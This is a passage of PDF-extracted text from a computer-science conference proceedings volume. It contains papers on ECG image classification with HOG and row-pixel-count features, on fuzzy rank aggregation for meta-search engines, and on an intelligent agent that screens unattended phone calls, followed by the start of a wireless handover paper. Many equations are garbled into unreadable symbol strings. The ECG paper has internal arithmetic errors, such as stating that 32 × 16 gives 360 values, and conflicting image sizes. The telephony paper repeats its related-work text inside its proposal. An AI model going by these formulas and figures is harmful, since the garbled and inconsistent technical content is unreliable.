6. Simultaneous Localisation And Mapping. http://openSLAM.org
Automatic ECG Image Classification
Using HOG and RPC Features
by Template Matching
V. Rathikarani, P. Dhanalakshmi and K. Vijayakumar
Abstract Cardiac disease is the most dangerous killer all over the world.
Electrocardiogram plays a significant role for cardiac disease diagnosis. In this work
with the advent of image processing technology, a confirmative tool is developed for
heart disease diagnosis. The proposed work demonstrates an automatic classification
system of ECG images using Histogram of Oriented Gradients (HOG) and Row
Pixel Count (RPC) features. The intention of this work is to classify three major
types of cardiac diseases namely Arrhythmia, Myocardial Infarction, and
Conduction Blocks by template matching. The experiments were conducted on the
Physiobank dataset of both normal and abnormal patients. A comparison is made for
the experimental results obtained using HOG and RPC, and the performance is
studied. The HOG gives a better performance of 94.0 % accuracy.
Keywords Electrocardiogram (ECG)

Arrhythmia
Myocardial infarction

Conduction blocks Histogram of oriented gradients (HOG) Row pixel count

(RPC) Template matching Euclidean Hamming Chebyshev Cityblock
distance
1 Introduction
According to WHO (World Health Organization), 9.4 million deaths occur annu-
ally. In this, 45 % of deaths occur due to coronary heart disease. Apart from this,
human beings suffer from various cardiac disorders such as Arrhythmia,
Myocardial Infarction, Hypertrophy, and Blocks. Hence, the cardiac diseases have
V. Rathikarani (&) P. Dhanalakshmi

Department of Computer Science and Engineering, Annamalai University, Annamalai Nagar,
Chidambaram, India
e-mail: rathika_1982@rediffmail.com
K. Vijayakumar
Department of Library and Information Science, Annamalai University, Annamalai Nagar,
Chidambaram, India

118 V. Rathikarani et al.
to be properly diagnosed and treated accordingly. The analysis of ECG in a visual

manner needs experience for the doctors and also it is a time-consuming task. This
paves a way for the automated ECG classification for the cardiac disease diagnosis.
The graphic representation of the electrical events of the heart on a paper, recorded
from the body surface electrodes placed at some distance displaying the electrical
activity in waveforms in different planes, is called Electrocardiogram [1]. In this
work, an automatic classification of ECG images is done for identifying
Arrhythmia, Myocardial Infarction, and Conduction Blocks. The automated ECG
classification has several applications as a diagnostic mechanism such as cardiac
disease diagnosis, effectiveness of drugs, electrolyte disturbances or reactance,
exercise reaction (Treadmill), etc. In literature, numerous contributions have been
made and implemented for ECG beat classification, signal classification, pattern
detection, and so on.
1.1 Electrocardiogram
ECG is a test that monitors the electrical activity of the heart for a certain Period as
detected using the electrodes attached to the outer surface of the skin and recorded
by a device external to the body. The output of each electrode is called a Lead.
A normal sample ECG is shown in Fig. 1.
An ECG wave consists of P, Q, R, S, and T waves. P wave is an upward positive
deflection and represents atrial depolarization. Pa or Ta wave is a minimal down-
ward deflection, which is not seen on surface ECG, and indicates the atrial repo-
larization. This wave gets buried in PR segment. QRS complex represents the
ventricular depolarization. T and U waves represent Ventricular repolarization [1].
Fig. 1 Sample ECG cycle
Automatic ECG Image Classification … 119
1.2 Cardiac Arrhythmia
Cardiac Arrhythmia is the irregular heartbeat or abnormal rhythm of the heart which
may cause permanent damage to the heart. Basically, there are two types of
Arrhythmia namely Ventricular and Supraventricular. Ventricular arrhythmia hap-
pens in the heart’s two lower chambers called Ventricles, and Supraventricular
arrhythmia happens in the heart’s two upper chambers called Atrium. Depending
upon the heart rate, the arrhythmia is classified into Bradycardia, Tachycardia, and
Fibrillated. The normal range of heart beat is 60–100 beats per minute.
1.3 Myocardial Infarction
Myocardium is the muscle of the heart, and Infarction is the presence of any damage
to the heart muscle. Myocardial Infarction is generally known as ‘Heart Attack.’ In
this condition, the glucose- and oxygen-rich blood will not be supplied to the heart
due to the complete blockage in blood vessels. This blockage happens due to
hypertension, formation of high fat (cholesterol) in blood vessels, and so on (Fig. 2).
1.4 Conduction Blocks
An electrical impulse, generated from the SA node, travels through the internodal
bundles in the atria to AV node, and then to the bundle of His, its branches right or
left and purkinje system of the ventricles. The abnormality in the conduction system
Fig. 2 Conduction system of

heart
is called conduction Blocks or Defects, and it may lie at various levels such as
Sinoatrial block, AV block, Bundle Branch block, etc. [1].
The proposed work is organized as follows:
• Preprocessing of the ECG images is done in which the filtering and resizing
process is made;
• Feature extraction in which the Histogram of Oriented Gradients and Row Pixel
Count features are extracted;
• Similarity measurement; and
• Categorization based on Distance matrix.
2 Template Matching
Template matching is a technique which is used to find the portions of an image by

comparing the test image with the template images. The template matching method
gives high recognition accuracy thus reducing the processing time compared to
other methods such as cross correlation [2] (Fig. 3).
Fig. 3 Block diagram of ECG image classification
2.1 Feature Extraction
Feature extraction plays a vital role in any classification system. In this work, two
types of feature extraction technique namely Histogram of Oriented Gradients and
Row Pixel Count Features are extracted for template matching. HOG is the change
of intensity between the pixel and its neighbor pixels in a given direction.
Histogram of Oriented Gradients In Histogram of Oriented Gradients concept,
the sketch of an image can be illustrated by the distribution of intensity gradients.
This is done by dividing the image into cells, and for each cell, HOG orientation
will be accumulated for the pixels within the cell.
2.2 Distance Measures
Distance or Similarity measures are very important in the areas of pattern classi-
fication, signal processing, and image processing. In this work, Euclidean,
Hamming distance, Chebyshev, and City block measures are used, and their results
are compared (Fig. 4).
Steps in HOG Computation
• The preprocessed image is divided into sub regions of 3 × 3 cells.
• In each cell, the Second-Order Derivative filter is applied to get the scalar and
vector values along x and y axis. Only the vector values are considered for
Fig. 4 HOG Bin orientation
finding the orientations. Each cell will be having 9 pixels. Hence, 9 orientations
will be obtained by h ¼ tanðv2=v1Þ.
• The dominant orientation for each 3 × 3 cell is obtained.
• Similarly, 61,440 values are obtained by analyzing the other cells in the image.
• The obtained values are kept in 9 bins of 20° each.
• The frequency of occurrence of angle values is taken as features.
• For HOG, nine bins of angle counts are extracted.
Row Pixel Count

The image of one ECG cycle of size 512 × 360 is taken. Using RPC =
32 P
P P
16 3 60
Iðx; yÞ.
n¼1 x¼1 y¼1
I(x, y) each row is scanned to find the occurrence of black pixels for one cycle
over 32 bins, where n represents number of bins, x represents number of rows in
image I, and y is the number of columns in image I (Fig. 5).
Each bin will be having 16 rows. Hence, for 32 bins, 360 values (32 × 16) are
obtained. For Row Pixel Count, 32 features are extracted (Fig. 6).
The ECG image of normal and abnormal patients namely Arrhythmia, Myocardial
Infarction, and Conduction blocks are taken from the physiobank databases.
3.1 Database
Consider a dataset of ECG images with four categories namely Normal,

Arrhythmia, Myocardial Infarction, and Conduction blocks. The ECG images were
Fig. 5 RPC binning
Fig. 6 Feature extraction
collected from the physiobank databases such as MITDB, AHA, EDB, CUBD,
ITAFDB, PTBDB, and INCARTDB each of 30 min duration; from this, 3 s
snapshots are taken for experiment. The image database comprised 400 templates in
Portable Network Graphic format of 3 s snapshots. For each disease, 100 templates
are taken according to the major criteria of that disease.
3.2 Preprocessing
Before processing, the ECG images should be preprocessed to remove the artifacts
by filtering. Here, the median filter (3 × 3) is used which sharpens the edges of the
images. The resolution of the image will be 512 × 1080. Each image frame
Fig. 7 Performance of HOG
comprises 3 s duration. Hence, the column is limited to 1080 (3 × 360). Each

column pixel in a 3 s image frame represents 2.7 ms (1000 ms = 360 samples). For
training, 100 templates of ECG images are taken for each category. The resolution
of the image will be 512 × 1080, and the duration of each template is 3 s
(3 × 360 = 1080).
For HOG, nine features are obtained which represents nine distinct groups of bins
which comprised 20 degrees each. These nine features represent the change in
intensity along the direction in the image which forms the texture representation of
the ECG frame. For RPC, 32 features are obtained which represents the distribution
of pixels in 32 uniform bins. Thus each bin comprises 16 rows of the image.
Similarly, for test template, the HOG and RPC features are extracted (Fig. 7).
3.4 Similarity Matching by Distance Measures
Then the template is compared with all trained templates, and the distance is
calculated using the above-mentioned distance measures. For both normal and
abnormal templates, one matrix will be created. The normal and abnormal templates
are combined and arranged in ascending order. The most matching top 25 templates
are taken, and a number of normal and abnormal classes are checked. Finally, the
test class is assigned to the maximum matching class (Fig. 8).
Fig. 8 Performance of RPC
4 Conclusion
This work focusses on classification of three types of heart diseases namely

Arrhythmia, Myocardial Infarction, and Conduction Blocks in an automated
manner. The proposed method is based on template matching method by Histogram
of Oriented Gradients and Row Pixel Count Features. In this work, Row Pixel
Count is the new proposed feature. From the analysis of results, it is observed that
the HOG gives a better performance. The advantages of this work include minimum
processing time, accurate, and fast diagnosis. In future, this work can be further
developed to diagnose various medical problems using new feature extraction
techniques.
References
1. Chugh, S.N.: Textbook of Clinical Electrocardiography, 2nd edn. Jaypee Publications

2. Mahalakshmi, T., Muthaiah, R., Swaminathan, P.: Review article: an overview of template
matching technique in image processing. Res. J. Appl. Sci. Eng. Technol. 4(24), 5469–5473
(2012)
3. Rathikarani, V., Dhanalakshmi, P.: Automatic classification of ECG signal for identifying
arrhythmia. Int. J. Adv. Res. Comput. Sci. Softw. Eng. 3, 205–211 (2013)
Enhancement of Fuzzy Rank
Aggregation Technique
Mohd Zeeshan Ansari, M.M. Sufyan Beg and Manoj Kumar
Abstract The rankings of an object based on different criteria pose the problem of
choice to give a ranking to that object at a position nearest to all the rankings.
Generating a ranking list of such objects previously ranked is called rank aggre-
gation. The aggregated ranking is analyzed by computing Spearman Footrule dis-
tance. The ranking list chosen by minimizing Spearman Footrule distance is
NP-Hard problem even if number of lists is greater than four for partial lists. In the
context of web, rank aggregation has been applied in meta-searching. However, the
usage of prevailing search engines and meta-search engines, even though some of
them being designated as successful, reveal that none of them have been effective in
production of reliable and quality results, the reason being many. In order to
improve the rank aggregation, we proposed the enhancement in the existing
Modified Shimura technique by the introduction of a new OWA operator. It not
only achieved better performance but also outperformed other similar techniques.
Keywords Web
Meta-searching Rank aggregation Spearman footrule

distance Fuzzy logic
M.Z. Ansari (&)

Department of Computer Engineering, Jamia Millia Islamia, New Delhi, India
e-mail: zeeshan.niec@gmail.com
M.M. Sufyan Beg
Department of Computer Engineering, Aligarh Muslim University, Aligarh, India
e-mail: mmsbeg@hotmail.com
M. Kumar
Department of Computer Engineering, Delhi Technological University, New Delhi, India
e-mail: mkumarg@dce.ac.in

128 M.Z. Ansari et al.
1 Introduction
Several search engines are required on the World Wide Web, the reason being that
only a single search engine is not sufficient for retrieval of effective and reliable
results. Over the huge amount of information available on the web, no ranking
algorithm is widely acceptable. A single search engine is not sufficient to span its
coverage all over the web [1, 2]. The existing search engines suffer from a few
drawbacks. Firstly, the indexing of web data is time and space consuming.
Secondly, due to the rapid changes in web data, the search engine has to always
manage a trade-off between the coverage and update frequency [3]. Thirdly, the
advertisers may entice a paid ranking that leads to loss of fair information and
accuracy in rankings [1, 4]. Lastly, the overall coverage also does not include the
indexing of proprietary information such as online digital libraries, etc. [3]. In order
to overcome these drawbacks, the rank aggregation technique is applied into web
searching and the search engine obtained by such technique is called meta-search
engine.
Meta-searching exploits the various techniques and algorithms of the partici-
pating search engines by combining all the results together. Moreover, the multiple
search engines have differing coverage area depending upon the underlying algo-
rithm, and it covers the entire web. It also enables a consistency check on the results
by spam reduction [2, 5]. In addition, it makes easy to formulate a query for the user
[1, 4]. Therefore, the meta-search engines have gained importance over the single
search engine. A meta-search engine is designed by applying rank aggregation on
the results of the participating search engines. Therefore, the efficiency and per-
formance of meta-search engine depends on the algorithm used for rank aggrega-
tion. The applications of rank aggregation also include sports and competitions,
collaborative filtering, database middleware, consumer ratings, etc. [6].
Rank aggregation is defined as, given n lists each of k elements each, generating
a new list of elements which is closest to all the n lists. The closeness is computed
by means of distance measures. The various rank aggregation techniques proposed
in literature [1–5, 7–11] are (i) score-based methods; (ii) positional methods;
(iii) probabilistic methods; (iv) learning techniques; (v) markov chains; and (vi) soft
computing techniques. The performance of a rank aggregation technique is mea-
sured by the two distance measures, namely, Kendall tau distance and Spearman
footrule distance. The distance measure of the final aggregated list is calculated
with each of the input list. Subsequently, a normalized aggregated distance is then
obtained. A low value of this distance signifies that the technique is effective. The
minimization of this normalized aggregated distance is called Optimal Aggregation
Problem, and it is NP-Hard in case of partial lists even when number of lists is
greater than four [1, 4, 7, 8]. On the other hand, the technique that satisfies
Condorcet criteria for rank aggregation offers much spam resistance [1, 4, 12]. The
markov chains and soft computing techniques have been found satisfying much of
the Condorcet criteria.
Enhancement of Fuzzy Rank Aggregation Technique 129
We investigated the weakness of Modified Shimura technique and proposed an

effective enhancement in it. We designed a new fuzzy membership function for the
relative quantifier. This relative quantifier is used by the proposed OWA operator
involved in the technique. Moreover, we are successful in preserving the Condorcet
criteria. We analyzed the fuzzy rank aggregation algorithms, viz., membership
function ordering, Shimura’s technique, and Modified Shimura’s technique. We
analyzed Borda’s method and used it as a benchmark technique. These are dis-
cussed in Sect. 3. The proposed technique is presented and discussed in Sect. 4.
Finally, in Sect. 5, we present a comparative performance analysis based on
Spearman footrule distance and running time. It is found that the proposed
enhancement in Modified Shimura technique exhibits better performance for rank
aggregation.
2 Background
The definitions used in the succeeding sections are as follows.

Definition 1 Given a set of lists {L1, L2, …, Lk}, the rank aggregation is defined as
the problem of generating a list L such that L is closest to {L1, L2, …, Lk}.
Definition 2 Given a set of lists {L1, L2, …, Lk}, the optimal rank aggregation is
defined as the problem of generating a list L such that the Spearman footrule
distance F(L, {L1, L2, …, Lk}) is minimized, as in [1, 4].
Definition 3 Given a set of partial lists {L1, L2, …, Lk}, the partial footrule optimal
aggregation is defined as the problem of generating a list L such that F(L, {L1, L2,
…, Lk}) is minimized, as in [4]. This is a special case of optimal rank aggregation
where the lists are partial top d lists obtained from search engine results.
3 Rank Aggregation Techniques
3.1 Borda’s Method
Given a set of k lists {L1, L2, …, Lk}, to each element cj in Li, the Borda’s Method
assigns a score given as

Bi cp ¼ cp : Li cp [ Li cj :
The total score of each element is given by
X k
B cj ¼ Bi cj :
i¼1
The descending sort on the Borda’s Score gives the aggregated list [4].
Borda’s method for rank aggregation has been extensively used as a benchmark
technique.
3.2 Membership Function Ordering
The application of mean and variance of the position in mean by variance technique
yields useful results in [4]. While applying the same two attributes in fuzzy logic,
the Gaussian membership function can be obtained as
" #!
1 1 ðx xdi Þ2
ld i ð xÞ ¼ qffiffiffiffiffiffiffiffiffiffiffi exp ;
2pr2di 2 r2di
where xdi is the mean of documents, r2di is the variance of documents, and ld i ðxÞ is
the ranking membership value of document di at position x. The document having
greatest membership value at a given position is assigned that position.
3.3 Shimura’s Technique
Shimura proposed a fuzzy logic technique for rank ordering of objects [13]. It
defines a pairwise function fy(x) as the membership of object x over object y. For a
given set of objects, it calculates a relativity function f(x|y) which is the fuzzy
measure of preferring one object over another. In this way, the membership value of
each object with respect to every other object is obtained. Sorting them in
descending order leads to a list of aggregated objects.
3.4 Modified Shimura Technique
The membership value of rank of each document is determined using Shimura’s

algorithm. It applies minimum function for choosing a document among n docu-
ments. Due to this minimum function, the descending sort on membership values
results in many ties. Therefore, the minimum function was replaced by an OWA
operator. To calculate the weights of OWA operator, the “at least half” linguistic
quantifier is applied as follows.
For a relative quantifier with m criteria, the weights can be calculated as

i i1
wi ¼ Q Q ; i ¼ 1; 2; 3; . . .; m with Qð0Þ ¼ 0;
m m
where Q(r) is the membership function of the relative quantifier, defined as

8
< 0 if r\a;
Qðr Þ ¼ ba
ra
; if b r a; :
:
1 if r [ b
For, at least half quantifier, a = 0, b = 0.5.
4 Proposed Rank Aggregation Technique
The score-based methods such as Borda’s method have been found ineffective in
rank aggregation. The application of positional methods poses a problem of
NP-hardness in case of partial lists. Therefore, researchers have been using soft
computing techniques to optimize the Spearman footrule distance. The fuzzy logic
technique of Shimura exhibits poor performance, and hence improved to Modified
Shimura. The Modified Shimura is enhanced to the proposed technique by the
introduction of a new OWA operator. We designed a non-linear membership
function for the calculation of weights of the proposed OWA operator.
4.1 Proposed Enhancement in Modified Shimura Technique
Let U be the universal set of objects. The pairwise function fy(x) is a membership
function of object x with respect to y, with fx(x) = 1 and fy(x) = 0 for x 62 U.
The relativity function f(x|y) which is the fuzzy measurement of choosing x over
y is defined as
f ð xÞ
f ðxjyÞ ¼ y :
max fy ð xÞ; fx ð yÞ
Now, for a given set X = (x1, x2, x3, …, xn), and the object x 2 X, the relativity
function, for choosing x among X = (x1, x2, x3, …, xn), is defined as
f ðxjX Þ ¼ min½f ðxjx1 Þ; . . .; f ðxjxn Þ; f ðxjxÞ ¼ 1:
In meta-searching, we have results of N search engines, resulting into N lists, L1,

…, LN, such that each list is a subset of U. For k = 1, …, N and i, j = 1, …, n, the
pairwise function can be defined as

jLk ðxi Þ\Lk xj j
fxj ðxi Þ ¼ ;
N
where Lk(x) is the rank of document x in list Lk.

For n documents each in N lists, the relativity function of each element with
respect to each other element can be defined as
X

Ci ¼ f xi jxj wj :
j¼1...n
Now, Ci is the membership value of rank of each element, where f(xi|xj) is the jth
highest membership value and wj is the set of weights of the proposed OWA
operator. The weights of the OWA operator are calculated using the membership
function shown in Fig. 1. We chose to introduce a non-linearity in the membership
function while preserving all the characteristics of Modified Shimura also. It gives
the values of weights in decreasing fashion as moving from membership value 0–
0.5 as desired. It yields better performance and also takes less time.
The desired membership function of the proposed quantifiers is defined as
8
< 4r 2 if 0 r 12 ;
Q ðr Þ ¼ 1 if 12 r 1; ð1Þ
:
0 otherwise:
The membership function of (1) is represented in Fig. 1. Better results from the
proposed operator are achieved using the non-linear membership function in place
of linguistic quantifiers when applied on partial lists.
Fig. 1 Membership function

of proposed technique
1
0.5 1
5.1 Experimental Setup
We collected the search engine results of Bing, Gigablast, Google, MySearch, and
Wow. The queries executed on these search engines, also used in [1, 4], are as
follows: affirmative action, alcoholism, amusement parks, architecture, bicycling,
blues, cheese, citrus groves, classical guitar, computer vision, cruises, Death
Valley, gardening, graphic design, gulf war, HIV, lyme disease, mutual funds,
parallel architecture, sushi and zener. The top 100 results returned by each query
from the five search engines are collected. This is used as the benchmark dataset for
the implementation of the algorithms discussed in the previous sections. An
aggregated list is produced as an output against each algorithm. The average nor-
malized Spearman footrule distance of each newly produced aggregated list is
calculated. The time consumed by each algorithm is also recorded.
5.2 Results of Proposed Technique
An effective rank aggregation algorithm should have low value of Spearman

footrule distance. The average normalized footrule distance has been represented in
Fig. 2. It clearly shows that the proposed technique has the lowest value. Modified
Shimura takes the second place followed by Membership Function Ordering. This
also shows the comparative performance of all of them. The running time of the
rank aggregation techniques is shown in Table 1. The time taken in seconds by each
technique with respect to Borda’s method is given. The proposed technique takes
the minimum time.
RANK AGGREGATION TECHNIQUE
Propsed Technique
Modified Shimura
Shimura
MFO
Borda
0.25 0.275 0.3 0.325 0.35 0.375 0.4

AGGREGATE FOOTRULE DISTANCE
Fig. 2 Comparison of average normalized footrule distance of rank aggregation techniques
Table 1 Running time Aggregation technique Time relative to borda

Borda 1.0
MFO 537.0248
Shimura 13.15276
Modified Shimura 4.206506
Proposed technique 2.956860
6 Conclusion
A new rank aggregation technique is proposed which find its application in

meta-searching. The proposed technique is a further enhancement in Modified
Shimura technique. We have proposed a new OWA operator by designing a
non-linear membership function for its relative quantifier. The analysis shows that
the proposed enhancement is effective and efficient than the Modified Shimura
technique. We have also successfully implemented and analyzed the other existing
fuzzy rank aggregation techniques namely membership function ordering,
Shimura’s technique for fuzzy ordering, and put forward a comparative analysis of
existing and proposed technique. The proposed technique is significantly found
effective in terms of performance by measuring Spearman footrule distance and
time efficient against the other techniques.
References
1. Dwork, C., Kumar, R., Naor, M., Sivakumar, D.: Rank aggregation methods for the web. In:
Proceedings of the Tenth ACM International Conference on World Wide Web, pp. 613–622
(2001)
2. Akritidis, L., Katsaros, D., Bozanis, P.: Effective rank aggregation for meta searching. J. Syst.
Softw. 84, 130–143 (2010)
3. Renda, M.E., Straccia, U.: Web meta search: rank vs. score based rank aggregation methods.
In: Proceedings of the ACM Symposium on Applied Computing, March 09–12 (2003)
4. Beg, M.M.S., Ahmad, N.: Soft computing techniques for rank aggregation on the world wide
web. World Wide Web J.: Internet Inf. Syst. 6, 5–22 (2003)
5. Aslam, J.A., Montague, M.: Models of meta search. In: Proceedings of 24th SIGIR 2001,
pp. 276–284
6. Dwork, C., Kumar, R., Naor, M., Sivakumar, D.: Rank aggregation revisited. Manuscript
(2001)
7. Beg, M.M.S., Ahmad, N.: Fuzzy logic and rank aggregation for the world wide web. Stud.
Fuzziness Soft Comput. J. 137, 24–46 (2004)
8. Yasutake, S., Hatano, K., Takimoto, E., Takeda, M.: Online rank aggregation. In: Proceedings
of 24th International Conference ALT 2013, pp. 68–82 (2013)
9. Qin, T., Geng, X., Liu, T.Y.: A new probabilistic model for rank aggregation. Proc. Adv.
Neural Inf. Proc. Syst. 23, 681–689 (2010)
10. Liu, Y.T., Liu, T.Y., Qin, T., Ma, Z. M., Li, H.: Supervised rank aggregation. In: Proceedings
of the ACM International Conference on World Wide Web, pp. 481–489 (2007)
11. Ailon, N.: Aggregation of partial rankings, p-ratings and top-m lists. Algorithmica 57(2),
284–300 (2008)
12. Ross, T.J.: Fuzzy Logic with Engineering Applications. McGraw-Hill, New York (1997)
13. Shimura, M.: Fuzzy sets concepts in rank ordering objects. J. Math. Anal. Appl. 43, 717–733
(1973)
14. Borda, J.C.: Memoire sur les election au scrutiny. Histoire de l’Academie Royale des Sciences
(1781)
Intelligent Telecommunication System
Using Semantic-Based Information
Retrieval
E. Ajith Jubilson, P. Dhanavanthini, P. Victer Paul, V. Pravinpathi,

M. RamCoumare and S. Paranidharan
Abstract Artificial intelligence refers to the ability by which a system studies

human ideas and applies them in computerized machines. One of the advantages of
a speech recognition system is to simultaneously convert the user’s voice into text.
The current telephony system provides a feature of recording a voice call, but it has
no processing capability to analyze a phone call. In our project, we introduce an
intelligent agent into the telephony system. An unattended phone call is recorded
and a recognizer converts the analog signal into a digital signal for speech pro-
cessing. The analyzer consists of a database which holds some important prepro-
cessed keywords and the intelligent agent can formulate the state of the situation. In
case of urgency, the message is examined by the parser to identify the time of the
incident and the sentiment analyzer has been used to avoid prank calls. Thus, an
epistle would be sent to the user in case of exigency or the voice message is stored
by default method.
Keywords Ontology Semantic analyzer Speech processing Key word

matching
E. Ajith Jubilson (&)

RMD Engineering College, Chennai, India
e-mail: ajithjubilsonb.tech@gmail.com
P. Dhanavanthini P. Victer Paul V. Pravinpathi M. RamCoumare S. Paranidharan
Sri Manakula Vinayagar Engineering College, Puducherry, India
e-mail: danavanthini@gmail.com
P. Victer Paul
e-mail: victerpaul@gmail.com
V. Pravinpathi
e-mail: pravinpathi@outlook.com
M. RamCoumare
e-mail: ram.coumare@gmail.com
S. Paranidharan
e-mail: dharan.msd@gmail.com

138 E. Ajith Jubilson et al.
1 Introduction
Artificial Intelligence ability is to interact with the real world to perceive, under-
stand, and act. Its important application is speech recognition, understanding and
synthesis, image understanding, ability to take actions, and have an effect.
Reasoning and Planning is for studying about the external world, solving problems
based on the given input, ability to deal with unexpected problems and uncer-
tainties, planning, and making decisions. The internal models are always being
“updated”. Artificial Intelligence involves the study of
• automatic recognition and understanding of signals;
• reasoning, planning, and decision-making;
• learning and adaptation.
In the current telephony system, if a user does not attend a phone call, it may be
left unattended or a voice recorder may record the call so that it can be heard later.
But in this methodology, the importance of the voice call may become unnoticed
during the right time. This may become obsolete in case of emergency messages
that must be delivered during the certain period.
2 Related Works
In this we would like to explain various ontology-based retrieval systems and

techniques proposed. The classical or traditional keyword-based information
retrieval approaches are based on the vector space model proposed by Salton et al.
[1]. In this model, documents and queries are simply represented as a vector of term
weights, and retrieval is done according to the cosine similarity between these
vectors. This approach does not require any extraction or annotation phases.
Therefore, it is easy to implement, however, the precision values are relatively low.
The first step toward semantic retrieval is using WordNet synonym sets (synsets)
for word semantics [2].
The main idea is expanding both indices and queries with the semantics of the
words to achieve better recall and precision. Another step toward semantic retrieval
is using information extraction. There are many studies on this field. NLP-based
approaches are domain independent but use parse trees of sentences, pos taggers,
chunk parsing, anaphora resolution, etc., in order to extract information. The term
Natural Language Interfaces (NLI) is used when a system can be accessed using
(written) natural language [3]. Such a system mostly operates on structured infor-
mation, given the natural language question and it tries to find the correct answer [4].
The family of NLI systems can be divided into various sub-classes. A Natural
Language Interfaces to Databases (NLIDB) system holds information in a relational
database. The principles of NLIDB have been adapted to the Semantic Web
resulting in the Natural Language Interfaces to Knowledge Bases (NLIKB).
Intelligent Telecommunication System … 139
3 KBMS-DBMS Two-Phase Coupling
The two phase coupling combines a knowledge based system with a data stored in a
database system. The relational database is queried such that the inferences about
the objects stored in the database are performed. To check the consistencies, the
results are sent to KBMS to perform deductions [5]. These deductions cannot be
computed by DBMS. Thus database objects are given as input into the reasoned in
KBMS.
3.1 Overview of Recent NLIKB Systems
A recent system called PowerAqua [6] is an ontology-based NLI system, which

surpasses traditional systems by managing multiple ontology sources and high
scalability [4]. PowerAqua is a portable NLIKB system [7]. It handles the user
queries from Natural Language, and analyzes and retrieves the information stored in
the knowledge base. ORAKEL is an ontology-based Natural Language Interface
system. It accepts English factoid questions and translates them. The Natural
Language questions are converted into first-order logic forms using full syntax
parsing and a compositional semantics approach. ORAKEL can be ported into
another domain. But the porting of ORAKEL requires a domain expert to create a
domain-dependent lexicon. This lexicon exactly maps ontology entities from nat-
ural language constructs.
4 Proposed Work
The newly proposed system of intelligent telecommunication is to provide an

intelligent path to get the acknowledgement of unattended calls through an intel-
ligent agent. This agent takes the input from voice calls through Semantic Analyzer,
Parser, and Sentiment Analyzer and processes it through the knowledge base. The
knowledge base of the agent is fed with keywords and scenarios which denotes the
state of emergency, thus getting aware of the state of situation. In case of exigency,
a pulse is sent to user’s personal communicator, but stores the voice note by default
(Figs. 1, 2 and 3).
Consider a telecommunication network in which {A} and {B} are the two
people trying to interact with each other. {A} is the person who calls {B}, and {B}
is unavailable to attend the call at the moment. Thus, an instance is created and the
call is directed to automated voice mail box and the call is recorded. NLP-based
approaches are domain independent but use parse trees of sentences, pos taggers,
chunk parsing, anaphora resolution, etc., in order to extract information. The term
Natural Language Interfaces (NLI) is used when a system can be accessed using
Fig. 1 Voice-to-text
conversion using natural
language processing
Fig. 2 Parsing methodology

to read and parse the data
characters
(written) natural language. Such a system mostly operates on structured information

and, given the natural language question, it tries to find the correct answer. An
intelligent agent is activated and it subjects the voice clip through a series of
recognition tests. These tests are as follows, first the voice clip is analyzed by
Fig. 3 Architecture diagram for semantic-based information retrieval through intelligent agents
semantic analyzer. The semantic analyzer consists of a knowledge base which is

loaded with words that symbolize emergency in any form.
A Natural Language Interfaces to Databases (NLIDB) system holds information
in a relational database. The principles of NLIDB have been adapted to the
Semantic Web resulting in the Natural Language Interfaces to Knowledge Bases
(NLIKB). It is self-learning and gets updated on each process. Relational database
is queried such that the inferences about the objects stored in the database are
performed. To check the consistencies, the results are sent to KBMS to perform
deductions. These deductions cannot be computed by DBMS. Thus database
objects are given as input into the reasoned in KBMS. If the voice note is found to
have such word, then it is sent to the next level of analysis or the process is stopped
and the voice is saved to storage.
After passing the semantic analysis the voice note is sent into the Parser ana-
lyzer. The parser checks the grammatical sense of the sentence and it consists of a
unique knowledge base to identify the past, present, and future tense of the voice
message which is recorded, thus enabling the agent to estimate the approximate
time (tense) of the message.
Finally, it is run through the Sentiment analyzer, thus finding the mood of the
caller. This analysis is done to avoid disturbing the privacy of the user due to any
prank or hoax calls. If all of these checks are passed by the voice note, the agent
sends the voice note to the user’s personal number. But in case of cellular phones,
the override of the phone’s silent mode takes place, thus ensuring the deliverance of
the message.
5 Role of Agents
Agents included in the system dynamically work on the message provided. An

agent acts upon the message, to pass it down to the various analyzers. The agent
ALPHA resides in the Natural Language Processor so as to study the user’s choice
of words and meanings. The agent BETA, implemented at the parser and the
semantic analyzer, works on the study of the words stored and the meanings
specified in the database and relates it to the voice message. This agent works with
the ontology tree of the words retrieved from the text data.
The agent COBRA works with the Sentiment analyzing of the voice data, thus
studying the mood of the caller. It can predict the caller’s psychological mindset by
studying the pitch and the surrounding noise of the caller.
6 Conclusion
Artificial intelligence is a combination of both analytical and logical intelligence at

the reductive embodying levels of neural cognitive, functional, and logical from the
bottom-up. One of the main benefits of speech recognition system is that it lets the
user do other works simultaneously. The speaker identity correlates with the
physiological and behavioral characteristics of the speaker.
Current telephony systems have no process to analyze a phone call. In our
project, we introduced an intelligent agent into the telephone system. An unattended
phone call is recorded and converted into digital signal for speech processing. Thus
the voice message is analyzed by Semantic analyzer, Parser, and Sentiment analyzer
to formulate the importance and condition of the speaker’s situation. This sends an
epistle to the user in case of exigency or the voice message is stored by default
method.
References
1. Salton, G.M., Wong, A.K.C., Yang, C.-S.: A vector space model for automatic indexing.
Information Retrieval and Language Processing. Commun. ACM 18(11), 613–620 (1975)
2. Gonzalo, J., Verdejo, F., Chugur, I., Cigarrin, J.: Indexing with wordnet synsets can improve
text retrieval. Comput. Res. Repos. 98, 38–44 (1998)
3. Mihalcea, R., Moldovan, D.: Semantic indexing using wordnet senses. In: Proceedings of the
ACL-2000 Workshop on Recent advances in Natural Language Processing and Information
Retrieval, Association for Computational Linguistics, Morristown, pp. 35–45 (2000)
4. Habernal, I., Konopík, M.: SWSNL: semantic web search using natural language. Expert Syst.
Appl. 40(9), 3649–3664 (2013)
5. Al-Jadir, L., Parent, C., Spaccapretra, S.: Reasoning with large ontologies stored in relational
databases: the OntoMinD approach. Inf. Syst. Inst. Elsevier 69, 1158–1180 (2010)
6. Lopez, V., Fernández, M., Motta, E., Stieler, N.: PowerAqua: Supporting users in querying and
exploring the Semantic Web. Semant. Web 3(3), 2210–4968 (2012). doi:10.3233/SW-2011-
0030,249-265. (IOS Press)
7. Cimiano, P., Haase, P., Heizmann, J., Mantel, M,. Studer, R.: Towards Portable natural
language interfaces to knowledge bases—the case of the ORAKEL system. Data Knowl. Eng.
(DKE) 65(2), 325–354 (2008)
Minimizing Excessive Handover Using
Optimized Cuckoo Algorithm
in Heterogeneous Wireless Networks
Salavadi Ananda Kumar and K.E. Sreenivasa Murthy
Abstract In this paper we worked out to find the best solution for the two con-
straints in heterogeneous wireless environments: finding the best available network
in a reasonable amount of time with optimized parameter values (such as cost of
network should be minimum) and try to minimize the number of handovers, when
mobile node is moving by overlapping of different wireless networks provided by
different network providers. Here the decision problem is formulated as multiple
objective optimization problems and simulated using cuckoo optimizing algorithm.
